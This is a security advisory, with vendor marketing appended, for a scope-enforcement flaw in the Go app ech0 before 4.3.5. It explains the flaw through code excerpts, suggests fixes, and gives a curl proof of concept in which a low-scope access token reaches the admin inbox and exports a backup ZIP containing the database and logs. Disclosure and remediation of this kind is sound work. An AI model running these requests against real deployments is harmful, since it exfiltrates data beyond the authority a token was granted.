Summary
Ech0 scoped access tokens do not reliably enforce least privilege: multiple privileged admin routes omit scope checks, and the backup export handler strips token scope metadata entirely, allowing a low-scope admin access token to reach broader admin functionality than intended.
Details
The issue is caused by a split authorization model:
JWTAuthMiddleware()authenticates the token and stores scope metadata in the viewer contextRequireScopes(...)enforces least privilege, but only when a route explicitly adds it- several privileged routes omit
RequireScopes(...) - multiple service methods then authorize using only
user.IsAdmin
internal/middleware/scope.go shows that scope enforcement is opt-in:
func RequireScopes(scopes ...string) gin.HandlerFunc {
return func(ctx *gin.Context) {
v := viewer.MustFromContext(ctx.Request.Context())
if v.TokenType() == authModel.TokenTypeSession {
ctx.Next()
return
}
if v.TokenType() != authModel.TokenTypeAccess { ... }
if !containsValidAudience(v.Audience()) { ... }
if !containsAllScopes(v.Scopes(), scopes) { ... }
ctx.Next()
}
}
Representative privileged routes omit RequireScopes(...), for example internal/router/inbox.go:
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET("/inbox", h.InboxHandler.GetInboxList())
appRouterGroup.AuthRouterGroup.GET("/inbox/unread", h.InboxHandler.GetUnreadInbox())
appRouterGroup.AuthRouterGroup.PUT("/inbox/:id/read", h.InboxHandler.MarkInboxAsRead())
appRouterGroup.AuthRouterGroup.DELETE("/inbox/:id", h.InboxHandler.DeleteInbox())
appRouterGroup.AuthRouterGroup.DELETE("/inbox", h.InboxHandler.ClearInbox())
}
Other source-confirmed unguarded privileged surfaces include:
/api/panel/comments*/api/addConnect/api/delConnect/:id/api/migration/*/api/backup/export
Service-layer authorization often checks only admin role. For example, internal/service/inbox/inbox.go:
func (inboxService *InboxService) ensureAdmin(ctx context.Context) error {
userid := viewer.MustFromContext(ctx).UserID()
user, err := inboxService.commonService.CommonGetUserByUserId(ctx, userid)
if err != nil {
return err
}
if !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
return nil
}
The backup export path is a stronger variant because it discards token metadata before authorization. internal/handler/backup/backup.go reparses a query token and rebuilds a bare viewer from only the user ID:
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
token := ctx.Query("token")
claims, err := jwtUtil.ParseToken(token)
if err != nil { ... }
reqCtx := viewer.WithContext(context.Background(), viewer.NewUserViewer(claims.Userid))
if err := backupHandler.backupService.ExportBackup(ctx, reqCtx); err != nil { ... }
return res.Response{Msg: commonModel.EXPORT_BACKUP_SUCCESS}
})
}
This drops token type, scopes, audience, and token ID before the backup service runs.
Proof of concept
1. Start the app
docker run -d \
--name ech0 \
-p 6277:6277 \
-v /opt/ech0/data:/app/data \
-e JWT_SECRET="Hello Echos" \
sn0wl1n/ech0:latest
2. Initialize an owner account
curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass","email":"[email protected]"}'
3. Log in as the owner and mint a low-scope access token
owner_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/login" \
-H 'Content-Type: application/json' \
-d '{"username":"owner","password":"ownerpass"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
low_scope_admin_token=$(
curl -sS -X POST "http://127.0.0.1:6277/api/access-tokens" \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $owner_token" \
-d '{"name":"echo-read-only","expiry":"8_hours","scopes":["echo:read"],"audience":"cli"}' \
| sed -n 's/.*"data":"\([^"]*\)".*/\1/p'
)
4. Use the low-scope token on an unguarded admin route
curl -sS "http://127.0.0.1:6277/api/inbox" \
-H "Authorization: Bearer $low_scope_admin_token"
Observed response:
{"code":1,"msg":"获取收件箱成功","data":{"total":0,"items":[]}}
5. Use the same low-scope token on backup export
curl "http://127.0.0.1:6277/api/backup/export?token=$low_scope_admin_token"
Observed response:
Try to unzip we will have log and database file:
->% unzip a.zip -d a
Archive: a.zip
inflating: a/app.log
inflating: a/ech0.db
Impact
An attacker who obtains a deliberately limited access token for an admin account can use that token to access privileged functionality outside its assigned scope. Confirmed impact includes access to /api/inbox with a token scoped only for echo:read and successful backup export via /api/backup/export?token=..., which returns a full ZIP archive. In practice, this turns a narrowly delegated API token into a broader privileged access and data exfiltration primitive.
GHSA-4H9Q-P5J4-XVVH has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.3.5); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Apply scope enforcement to every privileged route, move backup export behind the authenticated router group, and preserve the existing authenticated viewer context instead of rebuilding identity from raw JWT claims.
Suggested route-level changes:
import (
"github.com/lin-snow/ech0/internal/handler"
"github.com/lin-snow/ech0/internal/middleware"
authModel "github.com/lin-snow/ech0/internal/model/auth"
)
func setupInboxRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/inbox",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.InboxHandler.GetInboxList(),
)
// Apply the same pattern to the remaining inbox routes.
}
func setupCommonRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) {
appRouterGroup.AuthRouterGroup.GET(
"/backup/export",
middleware.RequireScopes(authModel.ScopeAdminSettings),
h.BackupHandler.ExportBackup(),
)
}
Suggested handler fix for internal/handler/backup/backup.go:
func (backupHandler *BackupHandler) ExportBackup() gin.HandlerFunc {
return res.Execute(func(ctx *gin.Context) res.Response {
if err := backupHandler.backupService.ExportBackup(ctx, ctx.Request.Context()); err != nil {
return res.Response{
Msg: "",
Err: err,
}
}
return res.Response{
Msg: commonModel.EXPORT_BACKUP_SUCCESS,
}
})
}
The same principle should be applied to other privileged services: do not authorize only on user.IsAdmin; also validate scopes carried by access tokens.
Frequently Asked Questions
- What is GHSA-4H9Q-P5J4-XVVH? GHSA-4H9Q-P5J4-XVVH is a high-severity security vulnerability in github.com/lin-snow/ech0 (go), affecting versions < 4.3.5. It is fixed in 4.3.5.
- How severe is GHSA-4H9Q-P5J4-XVVH? GHSA-4H9Q-P5J4-XVVH has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/lin-snow/ech0 are affected by GHSA-4H9Q-P5J4-XVVH? github.com/lin-snow/ech0 (go) versions < 4.3.5 is affected.
- Is there a fix for GHSA-4H9Q-P5J4-XVVH? Yes. GHSA-4H9Q-P5J4-XVVH is fixed in 4.3.5. Upgrade to this version or later.
- Is GHSA-4H9Q-P5J4-XVVH exploitable, and should I be worried? Whether GHSA-4H9Q-P5J4-XVVH is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-4H9Q-P5J4-XVVH is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-4H9Q-P5J4-XVVH? Upgrade
github.com/lin-snow/ech0to 4.3.5 or later.